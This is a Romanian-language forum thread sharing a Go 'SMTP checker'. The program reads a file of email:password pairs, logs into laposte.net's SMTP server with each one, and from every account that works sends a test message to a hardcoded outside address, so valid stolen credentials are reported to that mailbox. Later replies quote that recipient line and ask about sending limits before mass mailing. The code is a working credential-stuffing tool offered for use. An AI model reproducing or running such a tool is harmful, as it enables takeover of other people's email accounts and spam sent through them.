Smtp checker in golang

[UnixDevel]

package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
    "net/smtp"
)


type unencryptedAuth struct {
    smtp.Auth
}

func (a unencryptedAuth) Start(server *smtp.ServerInfo) (string, []byte, error) {
    s := *server
    s.TLS = true
    return a.Auth.Start(&s)
}



func email(line string){

    containsString := strings.Contains(line, "laposte.net")

    if(containsString == true){

        stringSlice := strings.Split(line, ":")
        email :=stringSlice[0]
        password :=stringSlice[1]
        auth := unencryptedAuth {
            smtp.PlainAuth(
                "",
                email,
                password,
                "smtp.laposte.net",
            ),
        }
        err := smtp.SendMail(
            "smtp.laposte.net:465",       // server address
            auth,                               // authentication
            email,                               // sender's address
            []string{"rixama1489@jentrix.com"},  // recipients' address
            []byte("Hello World!"),             // message body
        )
        if err != nil {
            log.Print(err)
        }


        fmt.Println(email)

        
            

    }

}


func main() {

    f, err := os.Open("emails.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    scanner := bufio.NewScanner(f)

    for scanner.Scan() {

        line := scanner.Text();

        email(line)

       // fmt.Println(line)

    }

    if err := scanner.Err(); err != nil {
        log.Fatal(err)
    }
}

 

Il las aici poate ii trebuie cuiva  

[Nytro]

 []string{"rixama1489@jentrix.com"},  // recipients' address

[ardu2222]

17 hours ago, Nytro said:

 []string{"rixama1489@jentrix.com"},  // recipients' address

exista vreo modalitate sa se verifice limitele de sending sau alte restrictii inaninte de a trimite mass?

[UnixDevel]

7 hours ago, ardu2222 said:

exista vreo modalitate sa se verifice limitele de sending sau alte restrictii inaninte de a trimite mass?

nu cred ca este posibil din cauza protocolului SMTP